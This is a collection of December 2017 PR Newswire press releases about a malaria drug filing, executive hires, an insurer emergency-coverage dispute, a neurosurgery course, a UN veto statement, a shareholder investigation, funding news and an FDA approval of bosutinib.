Malaria, a life-threatening disease caused by Plasmodium parasites that are transmitted to people through the bite of an infected mosquito, caused an estimated 429,000 fatalities and 212 million clinical cases in 2015.1 It poses a significant risk to millions of healthy individuals traveling in many parts of the world, including employees of non-governmental organizations (NGOs), casual vacationers, industrial and business workers, and military forces.2 Malaria cases among returning travelers in the U.S. have been trending upwards, with 84% of those infected requiring hospitalization.3

"There are real problems with the few anti-malarial drugs we currently have, including both resistance and safety issues. In particular, there can be a problem finding acceptable drugs to safeguard travelers and deployed military personnel," said Dr. Stephen Toovey, Pegasus Research. "Tafenoquine should prove a useful alternative in combating malaria."

"60P is proud of this significant milestone, a first for our organization," stated Geoffrey Dow, Ph.D., CEO 60 Degrees Pharmaceuticals. "The work that has been done to date, including significant legacy research at the Walter Reed Army Institute of Research (WRAIR), establishes that Tafenoquine targets all types of malaria including the most common parasites (P. vivax and P. falciparum). We hope to market this product with a convenient weekly dosing regimen in the United States and eventually around the world," Dr. Dow continued. "It is our belief our dossier will receive priority review, expediting the review of Tafenoquine, and 60P may qualify for a priority review voucher (PRV). This will help us acquire needed resources to provide this product to travelers who wish to be protected against deadly malaria parasites."

60P entered into a cooperative research and development agreement with the U.S. Army Medical Materiel Development Activity (USAMMDA) in 2014 to develop Tafenoquine as a weekly prophylactic drug for the prevention of malaria. As malaria is the top infectious disease threat to U.S. Military service members overseas, the military maintains a robust anti-malarial drug development effort through internal research and commercial partnerships.

The NDA submission is a culmination of over 30 years of research and development with the U.S. Army Medical Research and Materiel Command, from the discovery of Tafenoquine at Walter Reed Army Institute of Research (WRAIR) through the current collaboration between 60P and USAMMDA.

Researched for more than 30 years for both the prevention and treatment of malaria, Tafenoquine works against the major malaria parasites and all stages of the parasite's lifecycle. Tafenoquine has been studied in more than 30 clinical trials involving more than 4,000 study participants.

A recent analysis of five clinical trials to assess the safety and tolerability of an investigational antimalarial agent, Tafenoquine, has been published in Travel Medicine and Infectious Disease, a peer-reviewed journal. The authors of the analysis conclude that the antimalarial agent Tafenoquine appeared to be safe and well tolerated when the anticipated clinical regimen (ACR) was administered. In all five studies, the majority of adverse events (AEs) were mild or considered unrelated to the study drug. For the full article, "Tafenoquine for malaria prophylaxis in adults: An integrated safety analysis," by Moreno et al., 2017, please go to: http://www.travelmedicinejournal.com/article/S1477-8939(17)30079-0/fulltext

About 60P

60P, founded in 2010, focuses on discovering, developing and distributing new medicines for treatment and prevention of tropical diseases, including malaria and dengue.

60P's mission is supported through in-kind funding from the United States Department of Defense. The company also collaborates with prominent research organizations in the U.S., Australia and Singapore. In addition, 60P has been funded by Knight Therapeutics Inc. (TSX:GUD), a Canadian specialty pharmaceutical company that obtained FDA approval for Impavido, a product for leishmaniasis, a tropical disease, and monetized a PRV.

60P is headquartered in Washington DC, with a subsidiary in Australia. Further information is available on the company's website, www.60degreespharma.com.

The statements contained herein may include prospects, statements of future expectations and other forward-looking statements that are based on management's current views and assumptions and involve known and unknown risks and uncertainties. Actual results, performance or events may differ materially from those expressed or implied in such forward-looking statements.

The statements expressed herein are those of 60P and do not necessarily represent those of the United States Department of Defense or Department of the Army.

1CDC. 2017. Malaria Facts. https://www.cdc.gov/malaria/about/facts.html

2WWARN. 2017. Antimalarial Drug Resistance http://www.wwarn.org/about-us/malaria-drug-resistance

3Cullen KA, Mace KE, Arguin PM. Malaria Surveillance-United States, 2013. MMWR Surveillance Summary 2016:65 (No.SS-2);1-22. DOI:http://dx.doi.org/10.15585/mmwr.SS6502a1

CONTACT:

Lois Kaufman, President

Integrated Marketing Services

[email protected]

609-683-9055 x203

SOURCE 60 Degrees Pharmaceuticals, LLC

Related Links

http://www.60degreespharma.com


WEST CHESTER, Pa., Dec. 19, 2017 /PRNewswire/ -- AccessLex Institute is pleased to announce that Sara J. Berman has been named Director of Programs for Academic and Bar Success, effective January 29, 2018. Ms. Berman will be coming to the AccessLex Center for Legal Education Excellence from Nova Southeastern University Shepard Broad College of Law, where she served as Director of Critical Skills and Bar Success Programs.

Ms. Berman has been a Professor of Law since 1998 and has lectured nationwide for bar reviews for more than two decades, preparing students for both substantive and skills portions of bar exams across the country. Now, she will lead AccessLex Institute's efforts to increase academic and bar exam success, particularly among students from underrepresented backgrounds.

"AccessLex has set aggressive organizational objectives through the next decade that include helping to improve and sustain first-time bar passage rates at all law schools," said Christopher P. Chapman, president and chief executive officer of AccessLex Institute. "Having someone of Sara's talent, experience and vision to lead and further shape that initiative gives real weight and potential to those efforts."

Through the work of the Washington, D.C.-based AccessLex Center for Legal Education Excellence, AccessLex Institute advocates for policies that make legal education work better for students and society alike and conducts research on the most critical issues facing legal education today, namely improving access for historically underrepresented students, increasing affordability and strengthening the value of a legal degree.

"AccessLex is uniquely positioned to empower law students to navigate our increasingly complex and diverse world with confidence," said Ms. Berman. "I couldn't be more excited to be joining an amazing organization dedicated to doing this important work on a national level."

Ms. Berman received a B.A. in political science and French literature from the University of California, Santa Barbara and a J.D. from the UCLA School of Law. Her publications include Pass the Bar Exam: A Practical Guide to Achieving Academic and Professional Goals and Bar Exam MPT Preparation & Experiential Learning for Law Students: Interactive Performance Test Training and she regularly contributes to The Learning Curve, the official newsletter of the AALS Section on Academic Support.

About AccessLex Institute:

AccessLex Institute is a nonprofit organization committed to helping talented, purpose-driven students find their path from aspiring lawyer to fulfilled professional. In partnership with its nearly 200 Member law schools, improving access and positively influencing legal education have been at the heart of the Company's mission since 1983. Learn more at AccessLex.org.

Media Contact: Amy Dardinger, 847.415.9321, [email protected]

SOURCE AccessLex Institute

Related Links

http://AccessLex.org


WASHINGTON, Dec. 19, 2017 /PRNewswire-USNewswire/ -- The American College of Emergency Physicians (ACEP) and its Ohio Chapter (Ohio ACEP) today came out against a policy that Anthem Blue Cross Blue Shield (BCBS) plans to implement in the state on January 1st in which emergency patients who have been treated in emergency departments may be responsible for all the costs, if the insurer decides after-the-fact it was not an emergency, based on a list of diagnoses.

"This violates the prudent layperson standard, which is part of Medicare and Medicaid laws, as well as the Affordable Care Act, and requires coverage to be based on a patient's symptoms rather than a diagnosis," said Purva Grover, MD, FACEP, president of Ohio ACEP. "This policy is dangerous, because Ohioans who really need emergency care may be too afraid to seek care."

Dr. Grover said that one of the diagnoses that would not be covered is "rash." However, there are serious or potentially fatal conditions, such as Lyme disease or endocarditis from opioid injection, that first can manifest as a simple rash. Ruling out life-threatening conditions requires a careful history and physical exam by a provider familiar with such ailments. Physicians fear the unintended outcome of Anthem's policy will be to discourage people from seeking medical care in the first place.

"Health insurance companies can't expect patients to know which symptoms are life-threatening and which ones are not, and they shouldn't be punished financially because of it," said Dr. Grover. "Emergency physicians treat patients every day with identical symptoms  some go home, some need a medical procedure, and some need to be admitted. Only a full medical work-up can determine that."

For over 20 years, the "prudent layperson" law has been the standard for determining whether evaluation at an emergency department is justified. This standard requires that insurance coverage is based on a patient's symptoms, not their final diagnosis. Anyone who seeks emergency care suffering from symptoms that appear to be an emergency should not be denied coverage if the final diagnosis does not turn out to be an emergency. The BCBS policy violates this standard. Anthem BCBS has already implemented this policy in several states including, Missouri, Georgia and Kentucky with a much larger list of conditions. New Hampshire and Indiana are scheduled to be under the Anthem policy by early next year and others could follow.

According to a recent ACEP poll, more than 4 in 10 Americans reported that they delayed or avoided seeking emergency care in the past 2 years out of concerns about the cost of co-pays, co-insurance and deductibles. Nearly half said their medical condition worsened as a result.

"Health plans have a long history of not paying for emergency care," said Paul Kivela, MD, MBA, FACEP, president of ACEP. "For years, they have denied claims based on final diagnosis instead of symptoms. Emergency physicians successfully fought back against these outrageous policies. Now, as the future of health care is debated again, insurance companies are trying to reintroduce the practice."

Dr. Kivela added that that there is nearly a 90 percent overlap in symptoms between emergencies and non-emergencies, according to a 2013 study in the Journal of the American Medical Association.

ACEP is the national medical specialty society representing emergency medicine. ACEP is committed to advancing emergency care through continuing education, research and public education. Headquartered in Dallas, Texas, ACEP has 53 chapters representing each state, as well as Puerto Rico and the District of Columbia. A Government Services Chapter represents emergency physicians employed by military branches and other government agencies.

Media Contact: Mike Baldyga

202-370-9288

[email protected]

www.FairCoverage.org

On Twitter: @EmergencyDocs

SOURCE American College of Emergency Physicians (ACEP)

Related Links

http://www.acep.org


CENTER VALLEY, Pa., Dec. 19, 2017 /PRNewswire/ -- Aesculap, Inc. is pleased to announce its joint partnership with Barrow Neurological Institute to host a live neurosurgery course. Aesculap Academy, the company's continuing education division, will facilitate this first-ever U.S. course, in conjunction with the expertise of Barrow's neurosurgical team at its state-of-the-art facility.

Mirrored after the Helsinki course, this will showcase approaches and microsurgical techniques in live operations on various lesions (aneurysms, AVMs, cavernous malformation, extrinsic and intrinsic tumors and EC/IC bypass surgery). During the course, there will be four to six surgeries per day. Professors will discuss the cases and present microsurgical videos between and after the operations. The operative schedule runs every day from 8:00 am to approximately 4:00 pm, followed by case discussions and lectures.

The course will be led by Barrow Chairman, Michael T. Lawton, MD, President and CEO, Professor and Chair, Department of Neurological Surgery Chief, Neurovascular Surgery. The following Barrow faculty members will support the four day course offering:



Andrew S. Little, MD - Associate Professor, Department of Neurological Surgery, Surgical Director, Barrow Pituitary Center & Barrow Interdisciplinary Skull Base Program



Peter Nakaji, MD - Professor and Neurosurgery Education Chair, Department of Neurological Surgery, Program Director, Neurosurgery Residency Program, Director, Division of Minimally Invasive Neurosurgery

Randall Porter, MD - Professor, Department of Neurological Surgery, Director, Interdisciplinary Skull Base Program



Nader Sanai, MD - J.N. Harber Professor, Department of Neurological Surgery Director, Barrow Brain Tumor Research Center, Director, Division of Neurosurgical Oncology, Associate Director, Neurosurgery Residency Program



For additional information and to register, visit http://aesculap.cvent.com/BNI.

About Aesculap, Inc.

Aesculap, Inc., a B. Braun company, is part of a 180-year-old global organization focused on meeting the needs of an ever-changing healthcare community. Through close collaboration with its customers, Aesculap provides advanced technologies for general surgery, neurosurgery and closure technologies. Aesculap continues a proud heritage of leadership and responsiveness as we strive to deliver products and services that improve the quality of patients' lives. For more information, call 800-282-9000 or visit aesculapusa.com.

About The Aesculap Academy

The Aesculap Academy, is a B.Braun company, which has been protecting and improving people's health for more than 175 years. Through courses, hands-on trainings and symposia, the Aesculap Academy honors its parent company's promise of sharing expertise.

About Barrow Neurological Institute

Barrow Neurological Institute at Dignity Health St. Joseph's Hospital and Medical Center in Phoenix is internationally recognized as a leader in neurosurgery, neurology, neurological research and patient care. Consistently voted among the top facilities in the United States for neurological care, Barrow treats patients with a wide range of neurological conditions, including brain and spinal tumors, cerebrovascular conditions, concussions and neuromuscular disorders. Its surgeons perform more neurosurgeries annually than any hospital in the nation. Barrow is proud to be home of the Muhammad Ali Parkinson Center. For more information, please visit thebarrow.org.

SOURCE Aesculap, Inc.
NEW YORK, Dec. 19, 2017 /PRNewswire-USNewswire/ -- AJC praised the Trump Administration for exercising its veto power at the UN Security Council to block a resolution calling on the president to rescind his December 6 announcement recognizing Jerusalem as Israel's capital city. The other 14 members of the council voted in favor.



AJC CEO David Harris, who saluted President Trump's decision on December 6, today praised U.S. Ambassador to the UN Nikki Haley for "once again clearly and unequivocally supporting Israel and the U.S.-Israel relationship," and for calling out "the hypocritical and counter-productive character of the vote" regarding Israel.



"What is troublesome to some people is that the United States had the courage and honesty to recognize a fundamental reality," Ambassador Haley told the Security Council. "Jerusalem has been the political, cultural, and spiritual homeland of the Jewish people for thousands of years. They have had no other capital city. But the United States' recognition of the obvious  that Jerusalem is the capital and seat of the modern Israeli government  is too much for some."

The U.S. last used its veto power six years ago. "The fact that this veto is being done in defense of American sovereignty and in defense of America's role in the Middle East peace process is not a source of embarrassment for us," said Haley. "It should be an embarrassment to the remainder of the Security Council."

"The United States will not be told by any country where we can put our embassy," said Haley, adding the resolution and council proceedings were "an insult" that "won't be forgotten."

Harris pointed out that such an unbalanced approach to Israel at the UN by too many nations "only further complicates the very cause that most UN member states purport to support, namely, a two-state agreement."

"If the United Nations' history in the peace efforts proves anything, it is that talking in New York cannot take the place of face-to-face negotiations between the regional parties. It only sets back the cause of peace, not advance it," said Haley.

SOURCE American Jewish Committee

Related Links

http://www.ajc.org


NEW YORK, Dec. 19, 2017 /PRNewswire/ -- Rowley Law PLLC is investigating potential claims against Kindred Healthcare, Inc. (NYSE: KND) and its board of directors for breach of fiduciary duty concerning the proposed acquisition of the company by Humana Inc., TPG Capital and Welsh, Carson, Anderson & Stowe. Stockholders will receive $9.00 for each share of Kindred Healthcare, Inc. that they hold. The transaction is valued at approximately $4.1 billion and is expected to close in the summer of 2018.

If you are a stockholder of Kindred Healthcare, Inc. and are interested in obtaining additional information regarding this investigation, please visit us at: http://www.rowleylawpllc.com/investigation/kindred. You may also contact Shane Rowley, Esq. at Rowley Law PLLC, 50 Main Street Suite 1000, White Plains, NY 10606, by email at [email protected] , or by telephone at 914-400-1920 or 844-400-4643 (toll-free).

Rowley Law PLLC represents shareholders nationwide in class actions and derivative lawsuits in complex corporate litigation. For more information about the firm and its attorneys, please visit http://www.rowleylawpllc.com .

Attorney Advertising. Prior results do not guarantee a similar outcome.

SOURCE Rowley Law PLLC

Related Links

http://rowleylawpllc.com


SUNNYVALE, California and RA'ANANA, Israel, December 19, 2017 /PRNewswire/ --

Anodot, the AI-powered analytics company, today announced a Series B round, bringing its B funding total to $23 million. The additional $15 million investment was led by Redline Capital Management together with existing investors Aleph Venture Capital and Disruptive Technologies Venture Capital. Over the past year, the company more than tripled its revenues, with customers such as Foursquare, Lyft, Microsoft, Upwork and Waze (Google), and is gearing up for further expansion in 2018.

Headline-making glitches that interrupted sales for major retailers on Black Friday and frustrated thousands of shoppers illustrate the severe damage to revenue and reputation that these often hidden issues cause. Anodot's patented solution enables businesses to track and correlate massive volumes of business and technical data in real time to identify these business incidents.

Anodot is saving its customers millions of dollars and increasing revenue opportunities for top-tier brands in ecommerce, retail, Internet, mobile and other industry segments. The company is one of 17 globally to have achieved Amazon Web Services' Machine Learning competency announced last month at its re:Invent conference. It won Ventana Research's "Digital Innovation Award in Analytics" and was recognized as a Cool Vendor in Analytics by Gartner.

With the new investment, Anodot will open offices in London and APAC, grow its US team, and invest significantly in sales, marketing and customer success, while continuing to innovate in its machine learning platform.

"Business Intelligence presents a multi-billion-dollar market and Anodot's differentiated approach adds AI to BI," said Benno Jering, Principal at Redline Capital. "Traditional BI focuses on dashboards and other tools that analyze historical data, focusing on specific portions of data and addressing pre-defined queries. Anodot addresses a completely different need by surfacing the issues you wouldn't know to ask about, across constantly changing massive amounts of data. Anodot's analytics provide the full picture across all data at a granular level so companies can understand what's going in every market, with every product, across every device."

The most diligent BI and monitoring teams using traditional visualization tools will still miss important issues that affect their quality of service and operational efficiency. By automatically delivering actionable alerts in real time with proprietary AI technology, Anodot prevents revenue loss, reputation damage and end-user frustration. Anodot's insights enabled a retailer to update its pricing to address competitor's bidding activity that was affecting product revenue; a mobile games company to resolve customer engagement drops resulting from its AB tests; and a fintech company to protect its revenue by reducing incident resolution time by 99%.

"We are very excited by this new round of investment and see it as proof that there's life beyond dashboards, with AI," said Anodot CEO and co-founder David Drai. "Our rapid growth and the adoption of our technology by so many recognizable brands is a testament to the value of leveraging automated machine learning to create a new type of analytics solution."

David Drai, who previously cofounded Cotendo (acquired by Akamai), teamed up with Ira Cohen, formerly Chief Data Scientist at HP, and software R&D executive Shay Lang to found Anodot in 2014, combining their collective experience managing huge software systems and the big data analytics required to understand them to solve one of the most costly problems plaguing the online realm.

About Anodot

Anodot illuminates business blind spots with AI analytics, so companies will never miss another revenue leak or brand-damaging incident. Its automated machine learning algorithms continuously analyze all business data, detect the business incidents that matter, and identify why they are happening by correlating them across multiple data sources. Anodot customers in fintech, ad-tech, web and mobile apps, and other data-heavy industries use Anodot to drive real business benefits like significant cost savings, increased revenue and upturn in customer satisfaction. Founded in 2014, Anodot is headquartered in Ra'anana, Israel, and has offices in Silicon Valley. Learn more at www.anodot.com.

About Redline Capital Management

Redline Capital is a global Venture Capital and Growth Equity fund investing in fast-growing companies with differentiated technologies across North America, Europe and Israel. Redline is backing strong management teams, and lends its support to enable their vision and strategy through all stages of their development. For more information about Redline Capital, please visit www.redline-capital.com.

SOURCE Anodot
PHILADELPHIA, Dec. 19, 2017 /PRNewswire/ -- AppBus, provider of a secure platform that streamlines and integrates any application to the edge announced the addition of Donna Usiskin as Vice President of Marketing. Usiskin will be responsible for developing and implementing a marketing strategy that supports business growth and enhances brand awareness. As a core member of AppBus's executive team, she will contribute to the company's overall vision to drive growth.

"Donna's proven leadership abilities and enviable track record of successfully implementing large-scale go-to-market initiatives will position us to meet the evolving needs of the rapidly growing Digital Workspace market," said AppBus's Chief Executive Officer William (Bill) J. Conners, Jr. "She has always set an aggressive pace for generating new opportunities and strategies to accelerate growth; we look forward to her immense contributions at AppBus. AppBus is revolutionizing how we work, and we are fortunate to have an executive leader of Donna's caliber joining our team."

Usiskin joins AppBus with more than 20 years of sales, marketing and strategy experience with information technology companies. Recently she served as VP of Corporate Development for MMIT and previously held executive roles in market strategy for several early/growth stage companies. Usiskin adds over 10 years of venture capital experience from Edison Ventures; affording her a unique perspective on value proposition alignment. Usiskin has served as a BOD, Advisory Board member and Mentor with numerous start-ups and organizations in the region.

"AppBus is limitless in its consumerization of information technology; the platform transforms the digital application workspace landscape. The value proposition aligns directly with a business's ability to leverage its core applications to the edge," said Usiskin. "I feel fortunate to have the opportunity to work with Bill and the brilliant team that AppBus has assembled. We are poised to address the immense market opportunity."

About AppBus

AppBus enables the secure delivery and seamless integration of applications to end users on any device, across any network; helping them meet the requirements of the business and their clients. AppBus allows enterprises to rapidly contextualize their application fabric to enrich both workforce experience and expectations. AppBus delivers it's platform to financial services, life sciences and service providers globally.

Visit us at AppBus.com

SOURCE AppBus, Inc.

Related Links

http://AppBus.com


Cisco unveiled the winners at a Global IT SP Awards reception during its annual partner conference which took place in Dallas, Texas. Awarded to Cisco IT Service Provider partners who rise to business challenges, the Cisco Global IT SP Awards are designed to recognize superior business practices and reward best-in-class methodologies and technology expertise. Areas of consideration include software, Digital Solutions Big Data Analytics and Artificial Intelligence Solutions.

Engage ESM has over 15 years' experience in delivering end-to-end Enterprise Service Management solutions to help businesses improve their operational performance. Engage ESM's expertise is integrated into the Atos Canopy Orchestrated Hybrid Cloud which provides businesses with highly industrialized and automated end-to-end Cloud services over multiple Cloud types to bring agility and scale.

Mat Middleton, CEO of Engage ESM, says, "We're extremely proud to be recognized by Cisco for the success of our consulting and software led multi-cloud business. Following a joint multi-cloud project with ServiceNow and CliQr* Technologies in 2015 we were so impressed with the CloudCenter solution that we became CliQr's EMEA go-to-market and implementation partner. With Cisco's acquisition of CliQr in 2016 we have become a go-to-market and implementation partner across EMEA driving significant revenue and customer value.

Andy Fleck, Head Cloud Management and team have done a great job providing thought leadership to Cisco, their partners and customers post acquisition of CliQr. Ultimately growing the Cisco multi-cloud business in EMEA and now looking to grow market share in North America."

Cisco Partner Summit Global IT SP Awards reflect the top-performing partners within specific technology markets across all geographical regions. All award recipients are selected by a group of Cisco Global Partner organization and regional executives.

*CliQr  Cisco CloudCenter

About Atos

Atos is a global leader in digital transformation with approximately 100,000 employees in 72 countries and annual revenue of around  12 billion. European number one in Big Data, Cybersecurity, High Performance Computing and Digital Workplace, the Group provides Cloud services, Infrastructure & Data Management, Business & Platform solutions, as well as transactional services through Worldline, the European leader in the payment industry. With its cutting-edge technologies, digital expertise and industry knowledge, Atos supports the digital transformation of its clients across various business sectors: Defense, Financial Services, Health, Manufacturing, Media, Energy & Utilities, Public sector, Retail, Telecommunications and Transportation. The Group is the Worldwide Information Technology Partner for the Olympic & Paralympic Games and operates under the brands Atos, Atos Consulting, Atos Worldgrid, Bull, Canopy, Unify and Worldline. Atos SE (Societas Europaea) is listed on the CAC40 Paris stock index.

SOURCE Atos
LONDON, December 19, 2017 /PRNewswire/ --

Avillion LLP, a drug development company focused on the co-development and financing of pharmaceutical candidates from proof-of-concept through to regulatory approval, announces that the U.S. Food and Drug Administration (FDA) today approved a supplemental New Drug Application (sNDA) for Pfizer's BOSULIF (bosutinib). The approved sNDA expands the indication for BOSULIF to include the treatment of adult patients with newly-diagnosed chronic phase Philadelphia chromosome-positive chronic myelogenous leukemia (Ph+ CML).

The approval was based on positive results from the randomized, multinational BFORE Phase 3 study, which was conducted successfully by Avillion under an exclusive collaborative development agreement with Pfizer. The sNDA was reviewed and approved under the FDA's Priority Review and accelerated approval program based on molecular and cytogenetic response rates demonstrated by BOSULIF. BOSULIF is also indicated in the U.S. for the treatment of adult patients with chronic, accelerated or blast phase Ph+ CML with resistance or intolerance to prior therapy.

Avillion provided funding and undertook the BFORE study to generate the clinical data used to support this application and other potential regulatory filings for marketing authorisation for BOSULIF as first-line treatment for patients with chronic phase Ph+ CML. Avillion is eligible to receive milestone payments from Pfizer based on this approval. Pfizer retains all rights to commercialize BOSULIF globally.

Prof. Tim H. Brummendorf, Director of the Clinic for Oncology, Haematology and Stem Cell Transplantation at the Euregionales Comprehensive Cancer Center Aachen (ECCA), and European lead investigator on BFORE, added: "Molecular targeted therapy has substantially improved outcomes of patients with CML over that last two decades. Due to its efficacy and distinct tolerability profile, BOSULIF significantly expands our treatment options for newly diagnosed CML patients."

Allison Jeynes-Ellis, MD, Chief Executive Officer of Avillion, said: "We are delighted with the approval today of BOSULIF by the US FDA. It not only adds an important treatment option for newly diagnosed Ph+ CML patients, but also represents a significant validation of our innovative business model and capabilities for the co-development and partnership of late-stage clinical candidates. Our model provides pharma partners with opportunities and capacity to advance additional late-stage clinical projects in parallel to their own development efforts. This achievement is testament to the expertise and hard work of the teams at Avillion and Pfizer, and we look forward to replicating this success in other partnerships."

"Today's approval is a testament to the strength of our partnership with Avillion and to the commitment of both of our companies to work together to improve lives for patients living with CML," added Liz Barrett, Global President, Pfizer Oncology.

Efficacy and safety data support BOSULIF approval

The BOSULIF approval was based on results from BFORE (Bosutinib trial in First line chrOnic myelogenous leukemia tREatment), a randomized multi-center, multinational, open-label Phase 3 study which showed BOSULIF 400 mg was associated with a significantly higher rate of patients achieving major molecular response (MMR) at 12 months (47.2%; 95% CI, 40.9-53.4) compared to the rate achieved in patients treated with imatinib 400mg (36.9%; 95% CI, 30.8-43.0), a current standard of care. Complete cytogenic response (CCyR) rate by 12 months was 77.2% for patients treated with BOSULIF compared to 66.4% for patients treated with imatinib (P<0.008), with time to CCyR shorter for patients treated with BOSULIF (HR 1.38; P0.001). The adverse events seen in the trial were consistent with the known safety profile for BOSULIF. The most common adverse events in newly diagnosed CML patients treated with BOSULIF (incidence 20%) are diarrhea, nausea, thrombocytopenia, increased alanine aminotransferase (ALT), rash, abdominal pain, and increased aspartate aminotransferase (AST). For more information, please see Important Safety Information for BOSULIF below.

ABOUT CHRONIC MYELOGENOUS LEUKEMIA (CML)

Chronic myelogenous leukemia (CML) is a rare blood cancer, which begins in the bone marrow, but often moves into the blood.[1] Researchers estimate that by 2020, more than 412,000 people worldwide will be diagnosed with leukemia (all types)[2]. CML accounts for 10-15% of all incident leukemia cases.[3] In the U.S., approximately 48,000 people are living with CML.[1] Around 9,000 new CML cases were diagnosed in the U.S. in 2017.[2]

ABOUT BOSULIF (bosutinib)

BOSULIF (bosutinib) is an oral, once-daily, tyrosine kinase inhibitor (TKI), which inhibits the Bcr-Abl kinase that promotes CML; it is also an inhibitor of Src-family kinases. In the U.S., BOSULIF (bosutinib) is now indicated for the treatment of patients with newly-diagnosed chronic phase Philadelphia chromosome-positive chronic myelogenous leukemia (Ph+ CML) and for the treatment of adult patients with chronic, accelerated or blast phase Ph+ CML with resistance or intolerance to prior therapy (first approved in September 2012). A 400mg tablet was also recently approved by the FDA in addition to the previously approved 100mg and 500mg strengths. The recommended dose for newly diagnosed patients is 400 mg orally once daily with food. For patients who are resistant or intolerant to prior tyrosine kinase inhibitor (TKI) therapy, the recommended dose is 500mg orally once daily with food.

In Europe, BOSULIF was granted conditional marketing authorization in March 2013 for the treatment of adult patients with Ph+ CML previously treated with one or more TKIs and for whom imatinib, nilotinib and dasatinib are not considered appropriate treatment options. The European Medicines Agency (EMA) has also validated for review a Type II Variation application for use of BOSULIF in the same patient population.

About the BFORE Study

BFORE (Bosutinib trial in First line chrOnic myelogenous leukemia tREatment) is a multi-center, open-label Phase 3 study designed to assess the effectiveness and safety of BOSULIF (bosutinib) as a first-line treatment for patients with chronic phase Ph+ CML. The study enrolled 536 patients at multiple sites in North America, Asia and Europe. Patients were randomized 1:1 to receive BOSULIF 400mg or imatinib, a standard of care, for the duration of the study. The primary outcome was to show superiority of bosutinib over imatinib at 12 months by comparing MMR, or the proportion of patients in each arm whose levels of the Bcr-Abl1 kinase have dropped below 0.1%.

About Avillion

Avillion LLP is a drug development company with an innovative business model focusing on the clinical co-development and regulatory approval of pharmaceutical products. Avillion offers a compelling opportunity to partner assets from post proof of concept through to regulatory approval globally and to accelerate their development and hence availability to patients. Avillion's objective is to enable its partners to continue to develop the drug candidates in their pipeline whilst maintaining quality data without increasing the burden on their P&L or cash reserves. Avillion can achieve this by incurring 100% of the clinical and regulatory risk, while advancing the development of these assets in return for milestone and royalty payments on the commercialisation of successfully developed products.

To date, Avillion has advanced Pfizer's BOSULIF (bosutinib) successfully through Phase 3 trials and providing the clinical data to gain US approval to expand its use to include patients with newly diagnosed chronic phase Philadelphia chromosome-positive (Ph+) chronic myeloid leukaemia.

Avillion is also undertaking Phase 2 trials with Merck's anti IL-17 A/F Nanobody in plaque psoriasis.

Avillion was founded in 2012 in London, UK, and is backed by Abingworth, Clarus Ventures and Royalty Pharma.

www.avillionllp.com

IMPORTANT BOSULIF (bosutinib) SAFETY INFORMATION

Contraindication: History of hypersensitivity to BOSULIF. Reactions have included anaphylaxis. Anaphylactic shock occurred in less than 0.2% of treated patients in single-agent cancer studies with BOSULIF.

Gastrointestinal Toxicity: Diarrhea, nausea, vomiting, and abdominal pain can occur. In the Phase 3 clinical trial of 268 patients with newly diagnosed CML in the bosutinib treatment group, the median time to onset for diarrhea (all grades) was 3 days and the median duration per event was 3 days. Among 546 patients in a single-arm Phase 1/2 study in patients with CML who were resistant or intolerant to prior therapy, the median time to onset for diarrhea (all grades) was 2 days, median duration was 2 days, and median number of episodes per patient was 3 (range 1-268). Monitor and manage patients using standards of care, including antidiarrheals, antiemetics, and/or fluid replacement. Withhold, dose reduce, or discontinue BOSULIF as necessary.

Myelosuppression: Thrombocytopenia, anemia, and neutropenia can occur. Perform complete blood counts weekly for the first month and then monthly thereafter, or as clinically indicated. Withhold, dose reduce, or discontinue BOSULIF as necessary.

Hepatic Toxicity: Elevations in serum transaminases (alanine aminotransferase (ALT) and aspartate aminotransferase (AST)), can occur. Liver enzyme elevation usually occurs early in treatment. Perform hepatic enzyme tests at least monthly for the first 3 months and as clinically indicated. In patients with transaminase elevations, monitor liver enzymes more frequently. One case consistent with drug-induced liver injury occurred in a trial of BOSULIF in combination with letrozole without alternative causes. Withhold, dose reduce, or discontinue BOSULIF as necessary. In patients with mild, moderate, or severe hepatic impairment, the recommended starting dose is 200 mg daily.

Renal Toxicity: An on-treatment decline in estimated glomerular filtration rate has occurred in patients treated with BOSULIF. Monitor renal function at baseline and during therapy, with particular attention to patients with preexisting renal impairment or risk factors for renal dysfunction. Consider dose adjustment in patients with baseline and treatment emergent renal impairment.

The recommended starting doses for newly diagnosed chronic phase Ph+ CML patients with severe renal impairment (CrCL <30 mL/min) or moderate renal impairment (CrCL 30-50 mL/min) are 200 mg and 300 mg daily, respectively.

The recommended starting doses for chronic, accelerated, or blast phase Ph+ CML patients with resistance or intolerance to prior therapy with severe renal impairment (CrCL <30 mL/min) or moderate renal impairment (CrCL 30-50 mL/min) are 300 mg and 400 mg daily, respectively.

Fluid Retention: Fluid retention can occur with BOSULIF and may cause pericardial effusion, pleural effusion, pulmonary edema, and/or peripheral edema. Among 546 patients in a single-arm Phase 1/2 study in patients with Ph+ CML who were resistant or intolerant to prior therapy, Grade 3/4 fluid retention was reported in 26 patients (5%). Monitor and manage patients using standards of care. Interrupt, dose reduce, or discontinue BOSULIF as necessary.

Embryofetal Toxicity: BOSULIF can cause fetal harm when administered to a pregnant woman. Women of childbearing potential should be advised of the potential hazard to the fetus. Advise females of reproductive potential to use effective contraceptive measures to prevent pregnancy while being treated with BOSULIF and for at least 30 days after the final dose.

Adverse Reactions: The most common adverse reactions observed in greater than or equal to 20% of patients with newly diagnosed CML were diarrhea, nausea, thrombocytopenia, increased ALT, rash, abdominal pain, and increased AST. The most common Grade 3/4 adverse reactions and laboratory abnormalities observed in greater than 10% of newly diagnosed CML patients were thrombocytopenia and increased ALT.

The most common adverse reactions observed in greater than or equal to 20% of patients with CML who were resistant or intolerant to prior therapy were diarrhea, nausea, abdominal pain, thrombocytopenia, rash, vomiting, anemia, fatigue, pyrexia, cough, headache, and ALT. The most common Grade 3/4 adverse reactions and laboratory abnormalities observed in greater than 10% of patients who were resistant or intolerant to prior therapy were thrombocytopenia, neutropenia, and anemia.

CYP3A Inhibitors and Inducers: Avoid concurrent use with strong or moderate CYP3A inhibitors or inducers.

Proton Pump Inhibitors: Consider using short-acting antacids or H2 blockers instead of PPIs to avoid a reduction in BOSULIF exposure. Separate antacid or H2 blocker dosing and BOSULIF dosing by more than 2 hours.

Lactation: Given the potential for serious adverse reactions in nursing infants, a decision should be made whether to discontinue nursing or BOSULIF, taking into account the importance of the drug to the mother.

Please see full Prescribing Information at www.bosulif.com.

Contacts

Allison Jeynes-Ellis, CEO

Tel: +44-(0)-203-764-9531

Email: [email protected]

Mark Swallow, Citigate Dewe Rogerson

Tel: +44-(0)-207-282-2948

Email: [email protected]

[1]American Cancer Society. What is Chronic Myeloid Leukemia? [link ]. Accessed August 2017.

[2]GLOBOCAN Online Analysis/Prediction. [link]. Accessed August 2017.

